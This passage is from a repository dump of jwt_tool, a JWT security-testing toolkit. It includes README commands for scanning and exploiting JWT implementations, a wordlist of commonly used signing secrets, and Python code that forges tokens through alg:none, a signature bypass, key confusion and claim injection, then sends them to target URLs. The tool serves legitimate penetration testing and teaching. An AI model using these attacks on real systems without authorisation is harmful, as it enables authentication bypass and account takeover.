65 | * To make best use of the scanning options it is **strongly advised** to copy the custom-generated JWKS file somewhere that can be accessed remotely via a URL. This address should then be stored in `jwtconf.ini` as the "jwkloc" value.
66 | * In order to capture external service interactions - such as DNS lookups and HTTP requests - put your unique address for Burp Collaborator (or other alternative tools such as RequestBin) into the config file as the "httplistener" value.
67 | ***Review the other options in the config file to customise your experience.***
68 |
69 | ### Colour bug in Windows
70 | To fix broken colours in Windows cmd/Powershell: uncomment the below two lines in `jwt_tool.py` (remove the "# " from the beginning of each line)
71 | You will also need to install colorama: `python3 -m pip install colorama`
72 | ```
73 | # import colorama
74 | # colorama.init()
75 | ```
76 | ---
77 |
78 | ## Usage
79 | The first argument should be the JWT itself (*unless providing this in a header or cookie value*). Providing no additional arguments will show you the decoded token values for review.
80 | `$ python3 jwt_tool.py `
81 | or the Docker base command:
82 | `$ docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool`
83 |
84 | The toolkit will validate the token and list the header and payload values.
85 |
86 | ### Additional arguments
87 | The many additional arguments will take you straight to the appropriate function and return you a token ready to use in your tests.
88 | For example, to tamper the existing token run the following:
89 | `$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -T`
90 |
91 | Many options need additional values to set options.
92 | For example, to run a particular type of exploit you need to choose the eXploit (-X) option and select the vulnerability (here using "a" for the *alg:none* exploit):
93 | `$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X a`
94 |
95 | ### Extra parameters
96 | Some options such as Verifying tokens require additional parameters/files to be provided (here providing the Public Key in PEM format):
97 | `$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -V -pk public.pem`
98 |
99 | ### Sending tokens to a web application
100 | All modes now allow for sending the token directly to an application.
101 | You need to specify:
102 | * target URL (-t)
103 | * instead of a target URL, you can put your HTTP request into a file and reference the file with -r. This AUTOMATICALLY populates headers, cookies and POST data so this is the recommended option
104 | * a request header (-rh) or request cookies (-rc) that are needed by the application (***at least one must contain the token***)
105 | * (optional) any POST data (where the request is a POST)
106 | * (optional) any additional jwt_tool options, such as modes or tampering/injection options
107 | * (optional) a *canary value* (-cv) - a text value you expect to see in a successful use of the token (e.g. "Welcome, ticarpi")
108 | An example request might look like this (using scanning mode for forced-errors):
109 | `$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -rh "Origin: null" -cv "Welcome" -M er`
110 |
111 | Various responses from the request are displayed:
112 | * Response code
113 | * Response size
114 | * Unique request tracking ID (for use with logging)
115 | * Mode/options used
116 |
117 | ---
118 |
119 | ## Common Workflow
120 |
121 | Here is a quick run-through of a basic assessment of a JWT implementation. If no success with these options then dig deeper into other modes and options to hunt for new vulnerabilities (or zero-days!).
122 |
123 | ### Recon:
124 | Read the token value to get a feel for the claims/values expected in the application:
125 | `$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw`
126 |
127 | ### Scanning:
128 | Run a ***Playbook Scan*** using the provided token directly against the application to hunt for common misconfigurations:
129 | `$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb`
130 |
131 | ### Exploitation:
132 | If any successful vulnerabilities are found change any relevant claims to try to exploit it (here using the *Inject JWKS* exploit and injecting a new username):
133 | `$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
134 |
135 | ### Fuzzing:
136 | Dig deeper by testing for unexpected values and claims to identify unexpected app behaviours, or run attacks on programming logic or token processing:
137 | `$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt`
138 |
139 | ### Review:
140 | Review any successful exploitation by querying the logs to read more data about the request and :
141 | `$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
142 |
143 | ---
144 |
145 | ### Help
146 | For a list of options call the usage function:
147 | Some options such as Verifying tokens require additional parameters/files to be provided:
148 | `$ python3 jwt_tool.py -h`
149 |
150 | **A more detailed user guide can be found on the [wiki page](https://github.com/ticarpi/jwt_tool/wiki/Using-jwt_tool).**
151 |
152 | ---
153 |
154 | ## JWT Attack Playbook - new wiki content!
155 | 
156 |
157 | Head over to the [JWT Attack Playbook](https://github.com/ticarpi/jwt_tool/wiki) for a detailed run-though of what JWTs are, what they do, and a full workflow of how to thoroughly test them for vulnerabilities, common weaknesses and unintended coding errors.
158 |
159 | ---
160 |
161 | ## Tips
162 | **Regex for finding JWTs in Burp Search**
163 | *(make sure 'Case sensitive' and 'Regex' options are ticked)*
164 | `[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*` - url-safe JWT version
165 | `[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*` - all JWT versions (higher possibility of false positives)
166 |
167 | ---
168 |
169 | ## Further Reading
170 | * [JWT Attack Playbook (https://github.com/ticarpi/jwt_tool/wiki)](https://github.com/ticarpi/jwt_tool/wiki) - for a thorough JWT testing methodology
171 |
172 | * [A great intro to JWTs - https://jwt.io/introduction/](https://jwt.io/introduction/)
173 |
174 | * A lot of the initial inspiration for this tool comes from the vulnerabilities discovered by Tim McLean.
175 | [Check out his blog on JWT weaknesses here: https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/)
176 |
177 | * A whole bunch of exercises for testing JWT vulnerabilities are provided by [Pentesterlab (https://www.pentesterlab.com)](https://www.pentesterlab.com). I'd highly recommend a PRO subscription if you are interested in Web App Pentesting.
178 |
179 | *PLEASE NOTE:* This toolkit will solve most of the Pentesterlab JWT exercises in a few seconds when used correctly, however I'd **strongly** encourage you to work through these exercises yourself, working out the structure and the weaknesses. After all, it's all about learning...
180 |
--------------------------------------------------------------------------------
/common-headers.txt:
--------------------------------------------------------------------------------
1 | typ
2 | jku
3 | kid
4 | x5u
5 | x5t
--------------------------------------------------------------------------------
/common-payloads.txt:
--------------------------------------------------------------------------------
1 | iss
2 | sub
3 | aud
4 | exp
5 | nbf
6 | iat
7 | jti
8 | name
9 | given_name
10 | family_name
11 | middle_name
12 | nickname
13 | preferred_username
14 | profile
15 | picture
16 | website
17 | email
18 | email_verified
19 | gender
20 | birthdate
21 | zoneinfo
22 | locale
23 | phone_number
24 | phone_number_verified
25 | address
26 | updated_at
27 | azp
28 | nonce
29 | auth_time
30 | at_hash
31 | c_hash
32 | acr
33 | amr
34 | sub_jwk
35 | cnf
36 | sip_from_tag
37 | sip_date
38 | sip_callid
39 | sip_cseq_num
40 | sip_via_branch
41 | orig
42 | dest
43 | mky
44 | events
45 | toe
46 | txn
47 | rph
48 | sid
49 | vot
50 | vtm
51 | attest
52 | origid
53 | act
54 | scope
55 | client_id
56 | may_act
57 | jcard
58 | at_use_nbr
59 | div
60 | opt
--------------------------------------------------------------------------------
/jwks-common.txt:
--------------------------------------------------------------------------------
1 | /oauth2/v1/keys
2 | /jwks.json
3 | /.well-known/jwks.json
4 | /.well-known/jwks_uri
5 | /.well-known/openid-configuration/jwks
6 | /openid/connect/jwks.json
--------------------------------------------------------------------------------
/jwt-common.txt:
--------------------------------------------------------------------------------
1 |
2 | ...
3 | [107 105 97 108 105]
4 | ]V@IaC1%fU,DrVI
5 | `mix guardian.gen.secret`
6 | 012345678901234567890123456789XY
7 | 12345
8 | 12345678901234567890123456789012
9 | 3st4-3s-M1-Cl4v3-S3cr3t4
10 | 61306132616264382d363136322d343163332d383364362d316366353539623436616663
11 | 872e4e50ce9990d8b041330c47c9ddd11bec6b503ae9386a99da8584e9bb12c4
12 | 8zUpiGcaPkNhNGi8oyrq
13 | a43cc200a1bd292682598da42daa9fd14589f3d8bf832ffa206be775259ee1ea
14 | AC8d83&21Almnis710sds
15 | banana
16 | bar
17 | c2a4eb068af8abef18d80b1689c7d785
18 | Ch4ng3-m3-1M-n0t-s3cr3t
19 | CL4V3_SUP3R_S3CR3T4_C4TR4L_G4RD3N
20 | client_secret_basic
21 | custom
22 | default-key
23 | example_key
24 | example-hmac-key
25 | fe1a1915a379f3be5394b64d14794932
26 | foobar_template
27 | GQDstcKsx0NHjPOuXOYg5MbeJ1XT0uFiwDVvVBrk
28 | guest
29 | gZH75aKtMN3Yj0iPS4hcgUuTwjAzZr9C
30 | hard!to-guess_secret
31 | has a van
32 | Hello, World!
33 | her key
34 | his key
35 | hmac-secret
36 | hs256-secret
37 | J5hZTw1vtee0PGaoAuaW
38 | jwt
39 | jwt-secret
40 | key
41 | key1
42 | key2
43 | key3
44 | kiali
45 | kkey
46 | mix guardian.gen.secret
47 | my key
48 | My super secret key!
49 | my super secret password
50 | my_temp_secret_key
51 | my_very_long_and_safe_secret_key
52 | my$ecretK3y
53 | mypass
54 | mysecretkey
55 | mysupersecretkey
56 | newSecret
57 | Original secret string
58 | password
59 | R9MyWaEoyiMYViVWo8Fk4TUGWiSoaW6U1nOqXri8_XU
60 | RfxRP43BIKoSQ7P1GfeO
61 | S0M3S3CR3TK3Y
62 | s3cr3t
63 | S3CR3T K3Y
64 | S3cr3t_K#Key
65 | S3cr3t123
66 | S3cr3Tk3Y
67 | season-wiz-react-template
68 | secret
69 | Secret key. You can use `mix guardian.gen.secret` to get one
70 | secret_key
71 | secret_key_here
72 | secret-key
73 | secret123
74 | secretkey
75 | Setec Astronomy
76 | shared_secret
77 | shared-secret
78 | shhhhh
79 | shhhhhhared-secret
80 | SignerTest
81 | some-secret-string
82 | Sup3rS3cr3tk3y
83 | Super Secret Key
84 | super_fancy_secret
85 | super-secret-password
86 | supersecret
87 | supersecretkeytemp
88 | symmetric key
89 | T0pS3cr3tKeY!
90 | temp
91 | temp string
92 | temp string. tolerate this for now pls.
93 | temp_access_token
94 | temp_key
95 | tempkey
96 | template
97 | template,line,count
98 | templateOptions
99 | templates
100 | templateWrappersMap
101 | temple
102 | temporary
103 | temporary secret key
104 | temporary_key
105 | temporary_passkey
106 | temporary_secret
107 | temporary_secret_key
108 | temporary2
109 | tempseckey
110 | tempwhilewaitingtofixwslubuntu
111 | test-key
112 | testing1
113 | Th1s1ss3cr3tdefault_page_template_id
114 | THE_SAME_HMAC_KEY
115 | this is a temp key
116 | ThisIsMySuperSecret
117 | token
118 | too many secrets
119 | top secret
120 | verysecret
121 | wrong-secret
122 | xxx
123 | XYZ
124 | YoUR sUpEr S3krEt 1337 HMAC kEy HeRE
125 | YOUR_HMAC_KEY
126 | your-256-bit-secret
127 | your-384-bit-secret
128 | your-512-bit-secret
129 | your-own-jwt-secret
130 | your-top-secret-key
131 |
--------------------------------------------------------------------------------
/jwt_tool.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | #
3 | # JWT_Tool version 2.3.0 (01_05_2025)
4 | # Written by Andy Tyler (@ticarpi)
5 | # Please use responsibly...
6 | # Software URL: https://github.com/ticarpi/jwt_tool
7 | # Web: https://www.ticarpi.com
8 | # Twitter: @ticarpi
9 |
10 | jwttoolvers = "2.3.0"
11 | import ssl
12 | import sys
13 | import os
14 | import re
15 | import hashlib
16 | import hmac
17 | import base64
18 | import json
19 | import random
20 | from urllib.parse import urljoin, urlparse
21 | import argparse
22 | from datetime import datetime
23 | import configparser
24 | from http.cookies import SimpleCookie
25 | from collections import OrderedDict
26 | from ratelimit import limits, RateLimitException, sleep_and_retry
27 |
28 | try:
29 | from Cryptodome.Signature import PKCS1_v1_5, DSS, pss
30 | from Cryptodome.Hash import SHA256, SHA384, SHA512
31 | from Cryptodome.PublicKey import RSA, ECC
32 | except:
33 | print("WARNING: Cryptodome libraries not imported - these are needed for asymmetric crypto signing and verifying")
34 | print("On most Linux systems you can run the following command to install:")
35 | print("python3 -m pip install pycryptodomex\n")
36 | exit(1)
37 | try:
38 | from termcolor import cprint
39 | except:
40 | print("WARNING: termcolor library is not imported - this is used to make the output clearer and oh so pretty")
41 | print("On most Linux systems you can run the following command to install:")
42 | print("python3 -m pip install termcolor\n")
43 | exit(1)
44 | try:
45 | import requests
46 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
47 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
48 | except:
49 | print("WARNING: Python Requests libraries not imported - these are needed for external service interaction")
50 | print("On most Linux systems you can run the following command to install:")
51 | print("python3 -m pip install requests\n")
52 | exit(1)
53 | # To fix broken colours in Windows cmd/Powershell: uncomment the below two lines. You will need to install colorama: 'python3 -m pip install colorama'
54 | # import colorama
55 | # colorama.init()
56 |
57 | # CONSTANTS
58 | DEFAULT_RATE_LIMIT = 999999999
59 | DEFAULT_RATE_PERIOD = 60
60 |
61 | def cprintc(textval, colval):
62 | if not args.bare:
63 | cprint(textval, colval)
64 |
65 | def createConfig():
66 | privKeyName = path+"/jwttool_custom_private_RSA.pem"
67 | pubkeyName = path+"/jwttool_custom_public_RSA.pem"
68 | ecprivKeyName = path+"/jwttool_custom_private_EC.pem"
69 | ecpubkeyName = path+"/jwttool_custom_public_EC.pem"
70 | jwksName = path+"/jwttool_custom_jwks.json"
71 | proxyHost = "127.0.0.1"
72 | config = configparser.ConfigParser(allow_no_value=True)
73 | config.optionxform = str
74 | config['crypto'] = {'pubkey': pubkeyName,
75 | 'privkey': privKeyName,
76 | 'ecpubkey': ecpubkeyName,
77 | 'ecprivkey': ecprivKeyName,
78 | 'jwks': jwksName}
79 | config['customising'] = {'useragent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) jwt_tool',
80 | 'jwks_kid': 'jwt_tool'}
81 | if (os.path.isfile(privKeyName)) and (os.path.isfile(pubkeyName)) and (os.path.isfile(ecprivKeyName)) and (os.path.isfile(ecpubkeyName)) and (os.path.isfile(jwksName)):
82 | cprintc("Found existing Public and Private Keys - using these...", "cyan")
83 | origjwks = open(jwksName, "r").read()
84 | jwks_b64 = base64.b64encode(origjwks.encode('ascii'))
85 | else:
86 | # gen RSA keypair
87 | pubKey, privKey = newRSAKeyPair()
88 | with open(privKeyName, 'w') as test_priv_out:
89 | test_priv_out.write(privKey.decode())
90 | with open(pubkeyName, 'w') as test_pub_out:
91 | test_pub_out.write(pubKey.decode())
92 | # gen EC keypair
93 | ecpubKey, ecprivKey = newECKeyPair()
94 | with open(ecprivKeyName, 'w') as ectest_priv_out:
95 | ectest_priv_out.write(ecprivKey)
96 | with open(ecpubkeyName, 'w') as ectest_pub_out:
97 | ectest_pub_out.write(ecpubKey)
98 | # gen jwks
99 | new_key = RSA.importKey(pubKey)
100 | n = base64.urlsafe_b64encode(new_key.n.to_bytes(256, byteorder='big'))
101 | e = base64.urlsafe_b64encode(new_key.e.to_bytes(3, byteorder='big'))
102 | jwksbuild = buildJWKS(n, e, "jwt_tool")
103 | jwksout = {"keys": []}
104 | jwksout["keys"].append(jwksbuild)
105 | fulljwks = json.dumps(jwksout,separators=(",",":"), indent=4)
106 | with open(jwksName, 'w') as test_jwks_out:
107 | test_jwks_out.write(fulljwks)
108 | jwks_b64 = base64.urlsafe_b64encode(fulljwks.encode('ascii'))
109 | config['services'] = {'jwt_tool_version': jwttoolvers,
110 | '# To disable the proxy option set this value to: False (no quotes). For Docker installations with a Windows host OS set this to: "host.docker.internal:8080"': None, 'proxy': proxyHost+':8080',
111 | '# To disable following redirects set this value to: False (no quotes)': None, 'redir': 'True',
112 | '# Set this to the URL you are hosting your custom JWKS file (jwttool_custom_jwks.json) - your own server, or maybe use this cheeky reflective URL (https://httpbin.org/base64/{base64-encoded_JWKS_here})': None,
113 | 'jwksloc': '',
114 | 'jwksdynamic': 'https://httpbin.org/base64/'+jwks_b64.decode(),
115 | '# Set this to the base URL of a Collaborator server, somewhere you can read live logs, a Request Bin etc.': None, 'httplistener': ''}
116 | config['input'] = {'wordlist': 'jwt-common.txt',
117 | 'commonHeaders': 'common-headers.txt',
118 | 'commonPayloads': 'common-payloads.txt'}
119 | config['argvals'] = {'# Set at runtime - changes here are ignored': None,
120 | 'sigType': '',
121 | 'targetUrl': '',
122 | 'rate': str(DEFAULT_RATE_LIMIT),
123 | 'cookies': '',
124 | 'key': '',
125 | 'keyList': '',
126 | 'keyFile': '',
127 | 'headerLoc': '',
128 | 'payloadclaim': '',
129 | 'headerclaim': '',
130 | 'payloadvalue': '',
131 | 'headervalue': '',
132 | 'canaryvalue': '',
133 | 'header': '',
134 | 'exploitType': '',
135 | 'scanMode': '',
136 | 'reqMode': '',
137 | 'postData': '',
138 | 'resCode': '',
139 | 'resSize': '',
140 | 'resContent': ''}
141 | with open(configFileName, 'w') as configfile:
142 | config.write(configfile)
143 | cprintc("Configuration file built - review contents of \"jwtconf.ini\" to customise your options.", "cyan")
144 | cprintc("Make sure to set the \"httplistener\" value to a URL you can monitor to enable out-of-band checks.", "cyan")
145 | exit(1)
146 |
147 |
148 | @sleep_and_retry
149 | @limits(calls=DEFAULT_RATE_LIMIT, period=DEFAULT_RATE_PERIOD)
150 | def sendToken(token, cookiedict, track, headertoken="", postdata=None):
151 | if not postdata:
152 | postdata = config['argvals']['postData']
153 | url = config['argvals']['targetUrl']
154 | headers = {'User-agent': config['customising']['useragent']+" "+track}
155 | if headertoken:
156 | for eachHeader in headertoken:
157 | headerName, headerVal = eachHeader.split(":",1)
158 | headers[headerName] = headerVal.lstrip(" ")
159 | try:
160 | if config['services']['redir'] == "True":
161 | redirBool = True
162 | else:
163 | redirBool = False
164 | if config['services']['proxy'] == "False":
165 | if postdata:
166 | response = requests.post(url, data=postdata, headers=headers, cookies=cookiedict, proxies=False, verify=False, allow_redirects=redirBool)
167 | else:
168 | response = requests.get(url, headers=headers, cookies=cookiedict, proxies=False, verify=False, allow_redirects=redirBool)
169 | else:
170 | proxies = {'http': 'http://'+config['services']['proxy'], 'https': 'http://'+config['services']['proxy']}
171 | if postdata:
172 | response = requests.post(url, data=postdata, headers=headers, cookies=cookiedict, proxies=proxies, verify=False, allow_redirects=redirBool)
173 | else:
174 | response = requests.get(url, headers=headers, cookies=cookiedict, proxies=proxies, verify=False, allow_redirects=redirBool)
175 | if int(response.elapsed.total_seconds()) >= 9:
176 | cprintc("HTTP response took about 10 seconds or more - could be a sign of a bug or vulnerability", "cyan")
177 | return [response.status_code, len(response.content), response.content]
178 | except requests.exceptions.ProxyError as err:
179 | cprintc("[ERROR] ProxyError - check proxy is up and not set to tamper with requests\n(If proxy is not needed disable this with -np on the commandline.)\n"+str(err), "red")
180 | exit(1)
181 |
182 | def parse_dict_cookies(value):
183 | cookiedict = {}
184 | for item in value.split(';'):
185 | item = item.strip()
186 | if not item:
187 | continue
188 | if '=' not in item:
189 | cookiedict[item] = None
190 | continue
191 | name, value = item.split('=', 1)
192 | cookiedict[name] = value
193 | return cookiedict
194 |
195 | def strip_dict_cookies(value):
196 | cookiestring = ""
197 | for item in value.split(';'):
198 | if re.search(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', item):
199 | continue
200 | else:
201 | cookiestring += "; "+item
202 | cookiestring = cookiestring.lstrip("; ")
203 | return cookiestring
204 |
205 | def jwtOut(token, fromMod, desc=""):
206 | genTime = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
207 | idFrag = genTime+str(token)
208 | logID = "jwttool_"+hashlib.md5(idFrag.encode()).hexdigest()
209 | if config['argvals']['targetUrl'] != "":
210 | curTargetUrl = config['argvals']['targetUrl']
211 | p = re.compile(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*')
212 |
213 | if config['argvals']['headerloc'] == "cookies":
214 | cookietoken = p.subn(token, config['argvals']['cookies'], 0)
215 | else:
216 | cookietoken = [config['argvals']['cookies'],0]
217 |
218 | if config['argvals']['headerloc'] == "headers":
219 | headertoken = [[],0]
220 | for eachHeader in args.headers:
221 | try:
222 | headerSub = p.subn(token, eachHeader, 0)
223 | headertoken[0].append(headerSub[0])
224 | if headerSub[1] == 1:
225 | headertoken[1] = 1
226 | except:
227 | pass
228 | else:
229 | headertoken = [[],0]
230 | if args.headers:
231 | for eachHeader in args.headers:
232 | headertoken[0].append(eachHeader)
233 |
234 | if config['argvals']['headerloc'] == "postdata":
235 | posttoken = p.subn(token, config['argvals']['postdata'], 0)
236 | else:
237 | posttoken = [config['argvals']['postdata'],0]
238 |
239 |
240 | try:
241 | cookiedict = parse_dict_cookies(cookietoken[0])
242 | except:
243 | cookiedict = {}
244 |
245 |
246 |
247 | # Check if token was included in substitution
248 | if cookietoken[1] == 1 or headertoken[1] == 1 or posttoken[1]:
249 | resData = sendToken(token, cookiedict, logID, headertoken[0], posttoken[0])
250 | else:
251 | if config['argvals']['overridesub'] == "true":
252 | resData = sendToken(token, cookiedict, logID, headertoken[0], posttoken[0])
253 | else:
254 | cprintc("[-] No substitution occurred - check that a token is included in a cookie/header in the request", "red")
255 | # cprintc(headertoken, cookietoken, "cyan")
256 | exit(1)
257 | if config['argvals']['canaryvalue']:
258 | if config['argvals']['canaryvalue'] in str(resData[2]):
259 | cprintc("[+] FOUND \""+config['argvals']['canaryvalue']+"\" in response:\n"+logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "green")
260 | else:
261 | cprintc(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "cyan")
262 | else:
263 | if 200 <= resData[0] < 300:
264 | cprintc(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "green")
265 | elif 300 <= resData[0] < 400:
266 | cprintc(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "cyan")
267 | elif 400 <= resData[0] < 600:
268 | cprintc(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "red")
269 | else:
270 | if desc != "":
271 | cprintc(logID+" - "+desc, "cyan")
272 | if not args.bare:
273 | cprintc("[+] "+token, "green")
274 | else:
275 | print(token)
276 | curTargetUrl = "Not sent"
277 | additional = "[Commandline request: "+' '.join(sys.argv[0:])+']'
278 | setLog(token, genTime, logID, fromMod, curTargetUrl, additional)
279 | try:
280 | config['argvals']['rescode'],config['argvals']['ressize'],config['argvals']['rescontent'] = str(resData[0]),str(resData[1]),str(resData[2])
281 | except:
282 | pass
283 |
284 | def setLog(jwt, genTime, logID, modulename, targetURL, additional):
285 | logLine = genTime+" | "+modulename+" | "+targetURL+" | "+additional
286 | with open(logFilename, 'a') as logFile:
287 | logFile.write(logID+" - "+logLine+" - "+jwt+"\n")
288 | return logID
289 |
290 | def buildHead(alg, headDict):
291 | newHead = headDict
292 | newHead["alg"] = alg
293 | newHead = base64.urlsafe_b64encode(json.dumps(newHead,separators=(",",":")).encode()).decode('UTF-8').strip("=")
294 | return newHead
295 |
296 | def checkNullSig(contents):
297 | jwtNull = contents.decode()+"."
298 | return jwtNull
299 |
300 | def checkPsySig(headDict, paylB64):
301 | newHead = buildHead('ES256', headDict)
302 | jwtPsy = newHead+"."+paylB64+".MAYCAQACAQA"
303 | return jwtPsy
304 |
305 | def checkAlgNone(headDict, paylB64):
306 | alg1 = "none"
307 | newHead1 = buildHead(alg1, headDict)
308 | CVEToken0 = newHead1+"."+paylB64+"."
309 | alg = "None"
310 | newHead = buildHead(alg, headDict)
311 | CVEToken1 = newHead+"."+paylB64+"."
312 | alg = "NONE"
313 | newHead = buildHead(alg, headDict)
314 | CVEToken2 = newHead+"."+paylB64+"."
315 | alg = "nOnE"
316 | newHead = buildHead(alg, headDict)
317 | CVEToken3 = newHead+"."+paylB64+"."
318 | return [CVEToken0, CVEToken1, CVEToken2, CVEToken3]
319 |
320 | def checkPubKeyExploit(headDict, paylB64, pubKey):
321 | try:
322 | key = open(pubKey).read()
323 | cprintc("File loaded: "+pubKey, "cyan")
324 | except:
325 | cprintc("[-] File not found", "red")
326 | exit(1)
327 | newHead = headDict
328 | newHead["alg"] = "HS256"
329 | newHead = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
330 | newTok = newHead+"."+paylB64
331 | newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newTok.encode(),hashlib.sha256).digest()).decode('UTF-8').strip("=")
332 | return newTok, newSig
333 |
334 | def injectpayloadclaim(payloadclaim, injectionvalue):
335 | newpaylDict = paylDict
336 | newpaylDict[payloadclaim] = castInput(injectionvalue)
337 | newPaylB64 = base64.urlsafe_b64encode(json.dumps(newpaylDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
338 | return newpaylDict, newPaylB64
339 |
340 | def injectheaderclaim(headerclaim, injectionvalue):
341 | newheadDict = headDict
342 | newheadDict[headerclaim] = castInput(injectionvalue)
343 | newHeadB64 = base64.urlsafe_b64encode(json.dumps(newheadDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
344 | return newheadDict, newHeadB64
345 |
346 | def tamperToken(paylDict, headDict, sig):
347 | cprintc("\n====================================================================\nThis option allows you to tamper with the header, contents and \nsignature of the JWT.\n====================================================================", "white")
348 | cprintc("\nToken header values:", "white")
349 | while True:
350 | i = 0
351 | headList = [0]
352 | for pair in headDict:
353 | menuNum = i+1
354 | if isinstance(headDict[pair], dict):
355 | cprintc("["+str(menuNum)+"] "+pair+" = JSON object:", "green")
356 | for subclaim in headDict[pair]:
357 | cprintc(" [+] "+subclaim+" = "+str(headDict[pair][subclaim]), "green")
358 | else:
359 | if type(headDict[pair]) == str:
360 | cprintc("["+str(menuNum)+"] "+pair+" = \""+str(headDict[pair])+"\"", "green")
361 | else:
362 | cprintc("["+str(menuNum)+"] "+pair+" = "+str(headDict[pair]), "green")
363 | headList.append(pair)
364 | i += 1
365 | cprintc("["+str(i+1)+"] *ADD A VALUE*", "white")
366 | cprintc("["+str(i+2)+"] *DELETE A VALUE*", "white")
367 | cprintc("[0] Continue to next step", "white")
368 | selection = ""
369 | cprintc("\nPlease select a field number:\n(or 0 to Continue)", "white")
370 | try:
371 | selection = int(input("> "))
372 | except:
373 | cprintc("Invalid selection", "red")
374 | exit(1)
375 | if selection0:
376 | if isinstance(headDict[headList[selection]], dict):
377 | cprintc("\nPlease select a sub-field number for the "+pair+" claim:\n(or 0 to Continue)", "white")
378 | newVal = OrderedDict()
379 | for subclaim in headDict[headList[selection]]:
380 | newVal[subclaim] = headDict[pair][subclaim]
381 | newVal = buildSubclaim(newVal, headList, selection)
382 | headDict[headList[selection]] = newVal
383 | else:
384 | cprintc("\nCurrent value of "+headList[selection]+" is: "+str(headDict[headList[selection]]), "white")
385 | cprintc("Please enter new value and hit ENTER", "white")
386 | newVal = input("> ")
387 | headDict[headList[selection]] = castInput(newVal)
388 | elif selection == i+1:
389 | cprintc("Please enter new Key and hit ENTER", "white")
390 | newPair = input("> ")
391 | cprintc("Please enter new value for "+newPair+" and hit ENTER", "white")
392 | newInput = input("> ")
393 | headList.append(newPair)
394 | headDict[headList[selection]] = castInput(newInput)
395 | elif selection == i+2:
396 | cprintc("Please select a Key to DELETE and hit ENTER", "white")
397 | i = 0
398 | for pair in headDict:
399 | menuNum = i+1
400 | cprintc("["+str(menuNum)+"] "+pair+" = "+str(headDict[pair]), "white")
401 | headList.append(pair)
402 | i += 1
403 | try:
404 | delPair = int(input("> "))
405 | except:
406 | cprintc("Invalid selection", "red")
407 | exit(1)
408 | del headDict[headList[delPair]]
409 | elif selection == 0:
410 | break
411 | else:
412 | exit(1)
413 | cprintc("\nToken payload values:", "white")
414 | while True:
415 | comparestamps, expiredtoken = dissectPayl(paylDict, count=True)
416 | i = 0
417 | paylList = [0]
418 | for pair in paylDict:
419 | menuNum = i+1
420 | paylList.append(pair)
421 | i += 1
422 | cprintc("["+str(i+1)+"] *ADD A VALUE*", "white")
423 | cprintc("["+str(i+2)+"] *DELETE A VALUE*", "white")
424 | if len(comparestamps) > 0:
425 | cprintc("["+str(i+3)+"] *UPDATE TIMESTAMPS*", "white")
